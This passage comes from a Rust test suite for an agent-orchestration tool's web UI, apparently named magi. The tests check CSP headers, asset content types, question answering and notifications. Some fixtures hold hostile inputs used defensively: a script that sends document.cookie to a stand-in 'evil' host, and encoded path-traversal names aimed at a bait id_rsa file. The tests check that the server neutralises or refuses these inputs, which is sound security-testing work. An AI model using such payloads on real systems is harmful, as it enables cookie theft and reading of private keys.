8291 bytes,
8292 }
8293 }
8294
8295 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8297 let mut state = RunState::new(
8298 PathBuf::from("/repo/magi"),
8299 "main".to_owned(),
8300 "0123456789abcdef".to_owned(),
8301 "Add a web UI\n\nMobile first.".to_owned(),
8302 Config::default(),
8303 );
8304 state.id = id.to_owned();
8305 state.status = status;
8306 let dir = runs.join(id);
8307 std::fs::create_dir_all(&dir).expect("run dir");
8308 std::fs::write(
8309 dir.join("run.json"),
8310 serde_json::to_string_pretty(&state).expect("serialize run"),
8311 )
8312 .expect("write run.json");
8313 }
8314
8315 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8319 let mut state = RunState::new(
8320 PathBuf::from(repo),
8321 "main".to_owned(),
8322 "0123456789abcdef".to_owned(),
8323 "task".to_owned(),
8324 Config::default(),
8325 );
8326 state.id = id.to_owned();
8327 state.status = status;
8328 let dir = runs.join(id);
8329 std::fs::create_dir_all(&dir).expect("run dir");
8330 std::fs::write(
8331 dir.join("run.json"),
8332 serde_json::to_string_pretty(&state).expect("serialize run"),
8333 )
8334 .expect("write run.json");
8335 }
8336
8337 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8338 let body = serde_json::json!({
8339 "schema": 1,
8340 "pid": 4242,
8341 "started_at": Timestamp::now().to_string(),
8342 "updated_at": updated_at.to_string(),
8343 "idle": false,
8344 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8345 "completed": 7,
8346 "polls": 143,
8347 });
8348 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8349 }
8350
8351 fn launch_idle(
8361 _opts: daemon::Opts,
8362 stop: daemon::Stop,
8363 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8364 Box::pin(async move {
8365 while !stop.stopped() {
8366 tokio::time::sleep(Duration::from_millis(2)).await;
8367 }
8368 Ok(())
8369 })
8370 }
8371
8372 fn launch_broken(
8375 _opts: daemon::Opts,
8376 _stop: daemon::Stop,
8377 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8378 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8383 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8384 Box::pin(async move {
8385 Err(anyhow::anyhow!(if first {
8386 "publish the daemon status file: read-only file system"
8387 } else {
8388 "the restarted stand-in failed as well"
8389 }))
8390 })
8391 }
8392
8393 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8400 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8401
8402 fn launch_knocking_on_the_way_out(
8409 _opts: daemon::Opts,
8410 stop: daemon::Stop,
8411 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8412 Box::pin(async move {
8413 while !stop.stopped() {
8414 tokio::time::sleep(Duration::from_millis(2)).await;
8415 }
8416 let addr = PARK_KNOCK
8417 .lock()
8418 .expect("park knock")
8419 .expect("the test set an address");
8420 let heard = request(addr, "GET", "/api/health", None).await.status;
8421 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8422 Ok(())
8423 })
8424 }
8425
8426 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8435 for _ in 0..SETTLE_STEPS {
8436 let view = fx.get("/api/loop").await.json();
8437 if want(&view) {
8438 return view;
8439 }
8440 tokio::time::sleep(Duration::from_millis(10)).await;
8441 }
8442 panic!(
8443 "the loop never settled: {}",
8444 fx.get("/api/loop").await.json()
8445 );
8446 }
8447
8448 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8450 let store = fx.questions();
8451 let mut q = Question::new(
8452 "20260902-000000-beef".to_owned(),
8453 "implement".to_owned(),
8454 "impl-A".to_owned(),
8455 summary.to_owned(),
8456 "because it matters".to_owned(),
8457 choices.iter().map(|c| (*c).to_owned()).collect(),
8458 );
8459 store.put(&mut q).expect("put question");
8460 q.id
8461 }
8462
8463 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8469 let store = fx.questions();
8470 let mut q = Question::new(
8471 "20260902-000000-beef".to_owned(),
8472 "land".to_owned(),
8473 "fix".to_owned(),
8474 "Merge this?".to_owned(),
8475 "the diff is in the panel".to_owned(),
8476 vec!["merge".to_owned(), "hold".to_owned()],
8477 );
8478 let staging = fx.home.path().join("staging");
8481 std::fs::create_dir_all(&staging).expect("staging dir");
8482 let sources: Vec<PathBuf> = assets
8483 .iter()
8484 .map(|(name, bytes)| {
8485 let path = staging.join(name);
8486 std::fs::write(&path, bytes).expect("write staged asset");
8487 path
8488 })
8489 .collect();
8490 store
8491 .put_panel(&mut q, html, &sources)
8492 .expect("write the panel");
8493 store.put(&mut q).expect("put question");
8494 q.id
8495 }
8496
8497 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8506 seed_talk_at(&fx.talks(), id, status)
8507 }
8508
8509 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8510 std::fs::create_dir_all(store.root()).expect("talks dir");
8511 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8512 .expect("serialize a seat");
8513 let body = serde_json::json!({
8514 "schema": 1,
8515 "id": id,
8516 "repo": "/repo/magi",
8517 "agent": "mock",
8518 "status": status,
8519 "turns": [],
8520 "created_at": Timestamp::now().to_string(),
8521 "updated_at": Timestamp::now().to_string(),
8522 "seat": seat,
8523 });
8524 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8525 store.get(id).expect("the seeded talk has to be readable");
8526 id.to_owned()
8527 }
8528
8529 #[tokio::test]
8530 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8531 let fx = Fixture::start().await;
8532 let id = panel(
8533 &fx,
8534 "<h1>Merge?</h1><img src=\"diff.svg\">",
8535 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8536 );
8537
8538 for path in [
8539 format!("/api/questions/{id}/panel"),
8540 format!("/api/questions/{id}/asset/diff.svg"),
8541 ] {
8542 let res = fx.get(&path).await;
8543 assert_eq!(res.status, 200, "{path}: {}", res.body);
8544 assert_eq!(
8550 res.header("content-security-policy"),
8551 Some(
8552 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8553 font-src data:; base-uri 'none'; form-action 'none'; \
8554 frame-ancestors 'self'"
8555 ),
8556 "{path} is the only thing between a hostile panel and the tailnet"
8557 );
8558 assert_eq!(
8559 res.header("x-content-type-options"),
8560 Some("nosniff"),
8561 "{path}: a browser must not re-decide the type we sent"
8562 );
8563 assert_eq!(
8564 res.header("referrer-policy"),
8565 Some("no-referrer"),
8566 "{path}: a panel must not leak the question id off the machine"
8567 );
8568
8569 let pre = fx.head(&path).await;
8574 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8575 assert_eq!(
8576 pre.header("content-security-policy"),
8577 res.header("content-security-policy"),
8578 "{path}: the preflight carries the same policy"
8579 );
8580 assert_eq!(
8581 pre.header("content-type"),
8582 res.header("content-type"),
8583 "{path}: the preflight carries the same type"
8584 );
8585 }
8586 }
8587
8588 #[tokio::test]
8589 async fn a_panel_reaches_the_browser_byte_for_byte() {
8590 let fx = Fixture::start().await;
8591 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8596 let id = panel(&fx, html, &[]);
8597
8598 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8599
8600 assert_eq!(res.status, 200);
8601 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8602 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8603 assert_eq!(
8604 res.header("content-disposition"),
8605 None,
8606 "the panel itself is rendered in the frame, not downloaded"
8607 );
8608 }
8609
8610 #[tokio::test]
8611 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8612 let fx = Fixture::start().await;
8613 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8614 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8615 let id = panel(
8616 &fx,
8617 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8618 &[("diff.svg", svg), ("shot.png", png)],
8619 );
8620
8621 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8622 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8623
8624 assert_eq!(as_svg.status, 200);
8625 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8626 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8631
8632 assert_eq!(as_png.status, 200);
8633 assert_eq!(as_png.header("content-type"), Some("image/png"));
8634 assert_eq!(
8635 as_png.header("content-disposition"),
8636 None,
8637 "a raster image has no execution surface, so tapping it still shows it"
8638 );
8639 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8640 }
8641
8642 #[tokio::test]
8643 async fn an_html_asset_is_never_served_as_html() {
8644 let fx = Fixture::start().await;
8645 let id = panel(
8646 &fx,
8647 "<p>see the notes</p>",
8648 &[
8649 (
8650 "notes.html",
8651 b"<script>fetch('http://evil/'+document.cookie)</script>",
8652 ),
8653 ("hook.js", b"fetch('http://evil/')"),
8654 ("data.json", b"{}"),
8655 ("HEADLINE.TXT", b"plain"),
8656 ],
8657 );
8658
8659 for name in ["notes.html", "hook.js", "data.json"] {
8660 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8661 assert_eq!(res.status, 200, "{name}: {}", res.body);
8662 assert_eq!(
8667 res.header("content-type"),
8668 Some("application/octet-stream"),
8669 "{name} must not be a type the browser will execute or render"
8670 );
8671 }
8672 let txt = fx
8675 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8676 .await;
8677 assert_eq!(
8678 txt.header("content-type"),
8679 Some("text/plain; charset=utf-8")
8680 );
8681 }
8682
8683 #[tokio::test]
8684 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8685 let fx = Fixture::start().await;
8686 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8687 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8691
8692 for encoded in [
8699 "%2e%2e%2fid_rsa",
8700 "..%2fid_rsa",
8701 "..%5cid_rsa",
8702 "%2e%2e%5cid_rsa",
8703 "diff%00.svg",
8704 "..",
8705 ".hidden",
8706 "%2e%2e%2f%2e%2e%2fid_rsa",
8707 ] {
8708 let res = fx
8709 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8710 .await;
8711 assert_eq!(
8712 res.status, 400,
8713 "`{encoded}` has to be refused by name, not looked up: {}",
8714 res.body
8715 );
8716 assert!(res.json()["error"].is_string(), "{}", res.body);
8717 }
8718
8719 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8725 let res = fx
8726 .get(&format!("/api/questions/{id}/asset/{literal}"))
8727 .await;
8728 assert_eq!(
8729 res.status, 404,
8730 "`{literal}` must not match the asset route at all: {}",
8731 res.body
8732 );
8733 }
8734 }
8735
8736 #[tokio::test]
8737 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8738 let fx = Fixture::start().await;
8739 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8740 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8741
8742 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8746 assert_eq!(none.status, 404, "{}", none.body);
8747 assert!(none.json()["error"].is_string(), "{}", none.body);
8748 assert_eq!(
8749 fx.head(&format!("/api/questions/{plain}/panel"))
8750 .await
8751 .status,
8752 404,
8753 "the preflight is the only way the client can learn this"
8754 );
8755
8756 let missing = fx
8758 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8759 .await;
8760 assert_eq!(missing.status, 404, "{}", missing.body);
8761 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8762
8763 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8765 assert_eq!(
8766 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8767 404
8768 );
8769 }
8770
8771 #[tokio::test]
8772 async fn a_run_with_an_open_question_reads_as_waiting() {
8773 let fx = Fixture::start().await;
8774 let run = "20260902-000000-beef".to_owned();
8775 write_run(&fx.runs(), &run, RunStatus::Implementing);
8776
8777 let before = fx.get("/api/runs").await.json();
8778 assert_eq!(before[0]["waiting"], false, "{before}");
8779
8780 let store = fx.questions();
8781 let mut q = Question::new(
8782 run.clone(),
8783 "implement".to_owned(),
8784 "impl-A".to_owned(),
8785 "Which backend?".to_owned(),
8786 String::new(),
8787 vec!["SQLite".to_owned()],
8788 );
8789 store.put(&mut q).expect("put");
8790
8791 let during = fx.get("/api/runs").await.json();
8792 assert_eq!(during[0]["waiting"], true, "{during}");
8793
8794 q.answer(Answer::Choice("SQLite".to_owned()))
8797 .expect("answer");
8798 store.put(&mut q).expect("put");
8799 let after = fx.get("/api/runs").await.json();
8800 assert_eq!(after[0]["waiting"], false, "{after}");
8801 }
8802
8803 #[tokio::test]
8804 async fn an_open_question_is_listed_and_counted_by_health() {
8805 let fx = Fixture::start().await;
8806 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8807
8808 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8809 let listed = fx.get("/api/questions").await.json();
8810 assert_eq!(listed.as_array().expect("array").len(), 1);
8811 assert_eq!(listed[0]["id"], id);
8812 assert_eq!(listed[0]["status"], "open");
8813 assert_eq!(listed[0]["choices"][1], "Redis");
8814 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8817 }
8818
8819 #[tokio::test]
8820 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8821 let fx = Fixture::start().await;
8822 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8823 let path = format!("/api/questions/{id}/answer");
8824
8825 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8826 assert_eq!(res.status, 200, "{}", res.body);
8827 let body = res.json();
8828 assert_eq!(body["status"], "answered");
8829 assert_eq!(body["answer"]["choice"], "Redis");
8830
8831 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8835 assert_eq!(again.status, 409, "{}", again.body);
8836 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8837 }
8838
8839 #[tokio::test]
8840 async fn saying_something_appends_a_turn_without_answering() {
8841 let fx = Fixture::start().await;
8842 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8843 let path = format!("/api/questions/{id}/say");
8844
8845 let res = fx
8846 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8847 .await;
8848 assert_eq!(res.status, 200, "{}", res.body);
8849 let body = res.json();
8850 assert_eq!(body["status"], "open", "talking back is not a decision");
8851 assert_eq!(body["answer"], Value::Null);
8852 assert_eq!(body["thread"][0]["who"], "operator");
8853 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8854 assert_eq!(body["waiting_on_agent"], true);
8855 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8857 }
8858
8859 #[tokio::test]
8860 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8861 let fx = Fixture::start().await;
8862 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8863
8864 let list = fx.get("/api/questions").await.json();
8865 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8866
8867 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8868 assert_eq!(res.status, 409, "{}", res.body);
8869 let q = fx.questions().get(&id).unwrap();
8870 assert!(q.status.open());
8871 assert!(q.consult.is_none());
8872 }
8873
8874 #[tokio::test]
8875 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8876 let fx = Fixture::start().await;
8877 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8878 let cfg = Config {
8879 agents: vec![crate::config::AgentSpec {
8880 id: "mock".to_owned(),
8881 kind: crate::config::AgentKind::Command,
8882 model: None,
8883 command: vec!["true".to_owned()],
8884 extra_args: Vec::new(),
8885 env: Default::default(),
8886 prompt_delivery: None,
8887 }],
8888 ..Config::default()
8889 };
8890 let talk = crate::talk::begin(
8891 &fx.talks(),
8892 &cfg,
8893 fx.home.path().to_path_buf(),
8894 Some("mock"),
8895 )
8896 .unwrap();
8897 let mut task = Task::new(
8898 "t".to_owned(),
8899 "Do it".to_owned(),
8900 PathBuf::from("/repo/magi"),
8901 Source::Agent {
8902 run: talk.id.clone(),
8903 node: crate::queue::CHAT_NODE.to_owned(),
8904 },
8905 );
8906 task.start("20260902-000000-beef".to_owned());
8907 fx.queue().put(&mut task).unwrap();
8908
8909 let list = fx.get("/api/questions").await.json();
8910 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8911 assert_eq!(
8912 list[0]["choices"],
8913 serde_json::json!(["SQLite", "Redis"]),
8914 "the hand-over is never a choice"
8915 );
8916 fx.questions()
8917 .update(&id, |q| {
8918 q.node = crate::land::APPROVAL_NODE.into();
8919 q.choices = vec!["merge".into(), "hold".into()];
8920 Ok(())
8921 })
8922 .unwrap();
8923 let list = fx.get("/api/questions").await.json();
8924 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8925 let _ = id;
8926 }
8927
8928 #[tokio::test]
8929 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8930 let fx = Fixture::start().await;
8931 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8932 fx.questions()
8933 .update(&id, |q| {
8934 q.node = crate::land::APPROVAL_NODE.into();
8935 q.choices = vec!["merge".into(), "hold".into()];
8936 Ok(())
8937 })
8938 .unwrap();
8939 let cfg = Config {
8940 agents: vec![crate::config::AgentSpec {
8941 id: "mock".to_owned(),
8942 kind: crate::config::AgentKind::Command,
8943 model: None,
8944 command: vec!["true".to_owned()],
8945 extra_args: Vec::new(),
8946 env: Default::default(),
8947 prompt_delivery: None,
8948 }],
8949 ..Config::default()
8950 };
8951 let repo = fx.home.path().join("chat-repo");
8953 std::fs::create_dir_all(&repo).unwrap();
8954 let toml = repo.join("magi.toml");
8955 std::fs::write(&toml, "this is = = not toml").unwrap();
8956 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8957 let mut task = Task::new(
8958 "t".to_owned(),
8959 "Do it".to_owned(),
8960 PathBuf::from("/repo/magi"),
8961 Source::Agent {
8962 run: talk.id.clone(),
8963 node: crate::queue::CHAT_NODE.to_owned(),
8964 },
8965 );
8966 task.start("20260902-000000-beef".to_owned());
8967 fx.queue().put(&mut task).unwrap();
8968
8969 let path = format!("/api/questions/{id}/consult");
8970 let res = fx.post(&path, None).await;
8971 assert!(res.status >= 400, "{}", res.body);
8972 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8973 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8974
8975 std::fs::write(&toml, "").unwrap();
8976 let res = fx.post(&path, None).await;
8977 assert_eq!(res.status, 202, "{}", res.body);
8978 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8979 let q = fx.questions().get(&id).unwrap();
8980 assert!(q.status.open());
8981 assert!(q.answer.is_none());
8982 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8983 }
8984
8985 #[tokio::test]
8986 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8987 let fx = Fixture::start().await;
8988 let store = fx.questions();
8989 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8990 assert_eq!(
8991 fx.get("/api/health").await.json()["questions_needs_owner"],
8992 1
8993 );
8994
8995 let res = fx
9001 .post(
9002 &format!("/api/questions/{id}/say"),
9003 Some(r#"{"body":"why not Postgres?"}"#),
9004 )
9005 .await;
9006 assert_eq!(res.status, 200, "{}", res.body);
9007 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9008 assert_eq!(
9009 fx.get("/api/health").await.json()["questions_needs_owner"],
9010 0,
9011 "waiting on the agent is not waiting on the owner"
9012 );
9013
9014 let mut q = store.get(&id).expect("get");
9018 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9019 .expect("reply");
9020 store.put(&mut q).expect("put");
9021 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9022 assert_eq!(
9023 fx.get("/api/health").await.json()["questions_needs_owner"],
9024 1,
9025 "the agent's reply is what should light the banner back up"
9026 );
9027 }
9028
9029 #[tokio::test]
9030 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9031 let fx = Fixture::start().await;
9032 let store = fx.questions();
9033
9034 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9035 let res = fx
9036 .post(
9037 &format!("/api/questions/{empty_id}/say"),
9038 Some(r#"{"body":" "}"#),
9039 )
9040 .await;
9041 assert_eq!(res.status, 400, "{}", res.body);
9042
9043 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9044 let mut answered = store.get(&answered_id).expect("get");
9045 answered
9046 .answer(Answer::Choice("SQLite".to_owned()))
9047 .expect("answer");
9048 store.put(&mut answered).expect("put");
9049 let res = fx
9050 .post(
9051 &format!("/api/questions/{answered_id}/say"),
9052 Some(r#"{"body":"still there?"}"#),
9053 )
9054 .await;
9055 assert_eq!(res.status, 409, "{}", res.body);
9056
9057 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9058 let mut abandoned = store.get(&abandoned_id).expect("get");
9059 abandoned.abandon("timed out");
9060 store.put(&mut abandoned).expect("put");
9061 let res = fx
9062 .post(
9063 &format!("/api/questions/{abandoned_id}/say"),
9064 Some(r#"{"body":"still there?"}"#),
9065 )
9066 .await;
9067 assert_eq!(res.status, 409, "{}", res.body);
9068 }
9069
9070 #[tokio::test]
9071 async fn an_answer_the_question_does_not_offer_is_refused() {
9072 let fx = Fixture::start().await;
9073 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9074 let path = format!("/api/questions/{id}/answer");
9075
9076 for body in [
9077 r#"{"choice":"Postgres"}"#,
9078 r#"{"text":"whatever you think"}"#,
9079 r#"{"choice":"Redis","text":"both"}"#,
9080 r#"{}"#,
9081 ] {
9082 let res = fx.post(&path, Some(body)).await;
9083 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9084 assert!(res.json()["error"].is_string(), "{}", res.body);
9085 }
9086 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9088 }
9089
9090 #[tokio::test]
9091 async fn a_free_text_question_takes_text_and_not_a_choice() {
9092 let fx = Fixture::start().await;
9093 let id = ask(&fx, "What should the flag be called?", &[]);
9094 let path = format!("/api/questions/{id}/answer");
9095
9096 assert_eq!(
9097 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9098 400
9099 );
9100 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9101 assert_eq!(res.status, 200, "{}", res.body);
9102 assert_eq!(res.json()["answer"]["text"], "--json");
9103 }
9104
9105 #[tokio::test]
9106 async fn an_unknown_question_is_a_json_404() {
9107 let fx = Fixture::start().await;
9108 let res = fx
9109 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9110 .await;
9111 assert_eq!(res.status, 404, "{}", res.body);
9112 assert!(res.json()["error"].is_string());
9113 }
9114
9115 #[tokio::test]
9116 async fn notifications_list_read_dismiss_and_health_agree() {
9117 let fx = Fixture::start().await;
9118 let store = Notices::at(fx.home.path().join("notifications"));
9119 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9120 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9121
9122 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9123 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9124
9125 let health = fx.get("/api/health").await.json();
9126 assert_eq!(health["notifications_unread"], 2);
9127 assert_ne!(
9128 health["notifications_rev"], rev0,
9129 "the badge must move live"
9130 );
9131
9132 let listed = fx.get("/api/notifications").await.json();
9133 assert_eq!(listed["unread"], 2);
9134 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9135 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9136
9137 let read = fx
9138 .post(&format!("/api/notifications/{}/read", a.id), None)
9139 .await;
9140 assert_eq!(read.status, 200, "{}", read.body);
9141 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9142
9143 let gone = fx
9144 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9145 .await;
9146 assert_eq!(gone.status, 200, "{}", gone.body);
9147 let listed = fx.get("/api/notifications").await.json();
9148 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9149 assert_eq!(listed["unread"], 0);
9150
9151 store.raise(Notice::info("x", "again")).unwrap();
9152 let all = fx.post("/api/notifications/read-all", None).await;
9153 assert_eq!(all.status, 200, "{}", all.body);
9154 assert_eq!(all.json()["marked"], 1);
9155 assert_eq!(
9156 fx.get("/api/health").await.json()["notifications_unread"],
9157 0
9158 );
9159
9160 let missing = fx.post("/api/notifications/nope/read", None).await;
9161 assert_eq!(missing.status, 404, "{}", missing.body);
9162 assert!(missing.json()["error"].is_string());
9163 }
9164
9165 #[tokio::test]
9172 async fn a_task_cannot_be_filed_over_the_phone_directly() {
9173 let f = Fixture::start().await;
9174
9175 let res = f
9176 .post(
9177 "/api/queue",
9178 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9179 )
9180 .await;
9181
9182 assert_eq!(
9183 res.status, 405,
9184 "POST /api/queue must not be a route: {}",
9185 res.body
9186 );
9187 assert!(
9188 f.queue().list().is_empty(),
9189 "a task filed by a route that does not exist must not reach the disk"
9190 );
9191 assert_eq!(f.get("/api/queue").await.status, 200);
9194 }
9195
9196 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9198 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9199 .expect("checkout dir");
9200 }
9201
9202 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9204
9205 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9206 let tmp = TempDir::new().expect("tempdir");
9207 let repo = tmp.path().join("repo");
9208 std::fs::create_dir_all(&repo).expect("repo dir");
9209 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9210 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9211 if let Some(text) = machine_toml {
9212 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9213 std::fs::write(&machine, text).expect("machine toml");
9214 }
9215 (tmp, repo, machine)
9216 }
9217
9218 async fn settings_checkout(path: &FsPath, text: &str) {
9219 std::fs::create_dir_all(path).unwrap();
9220 std::fs::write(path.join("magi.toml"), text).unwrap();
9221 for args in [
9222 vec!["init", "-b", "main"],
9223 vec!["add", "magi.toml"],
9224 vec![
9225 "-c",
9226 "user.name=Test",
9227 "-c",
9228 "user.email=test@example.invalid",
9229 "commit",
9230 "-m",
9231 "fixture",
9232 ],
9233 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9234 vec![
9235 "symbolic-ref",
9236 "refs/remotes/origin/HEAD",
9237 "refs/remotes/origin/main",
9238 ],
9239 ] {
9240 crate::git::git(path, &args).await.unwrap();
9241 }
9242 }
9243
9244 #[tokio::test]
9245 async fn settings_context_handlers_validate_and_save_without_a_socket() {
9246 let (tmp, repo, machine) =
9247 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9248 let root = tmp.path().join("roots");
9249 let selected = root.join("host/owner/selected");
9250 settings_checkout(
9251 &selected,
9252 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9253 )
9254 .await;
9255 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9256 let before = std::fs::read(&machine).unwrap();
9257 let ui = Arc::new(
9258 Ui::new(
9259 Queue::at(tmp.path().join("queue")),
9260 Questions::at(tmp.path().join("questions")),
9261 Talks::at(tmp.path().join("talks")),
9262 tmp.path().join("runs"),
9263 tmp.path().to_path_buf(),
9264 repo.clone(),
9265 )
9266 .with_machine_config(Some(machine.clone())),
9267 );
9268 let query = || {
9269 Query(SettingsQuery {
9270 repo: Some(selected.clone()),
9271 })
9272 };
9273 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9274 assert!(v.error.is_none(), "{:?}", v.error);
9275 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9276 assert_eq!(conductor.source, "repo");
9277 assert_eq!(
9278 conductor.machine_value,
9279 Some(toml::Value::String("a".into()))
9280 );
9281 assert!(!conductor.editable);
9282 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9283 assert_eq!(
9284 judges.count.as_ref().unwrap().machine_value,
9285 Some(toml::Value::Integer(1))
9286 );
9287 assert!(
9288 !v.roles
9289 .iter()
9290 .find(|r| r.key == "reviewers")
9291 .unwrap()
9292 .editable
9293 );
9294 let unknown = || {
9295 Query(SettingsQuery {
9296 repo: Some(tmp.path().to_path_buf()),
9297 })
9298 };
9299 assert_eq!(
9300 settings_get(State(ui.clone()), unknown())
9301 .await
9302 .unwrap_err()
9303 .status,
9304 StatusCode::UNPROCESSABLE_ENTITY
9305 );
9306 let body = || {
9307 Ok(Json(RolesBody {
9308 revision: v.revision.clone(),
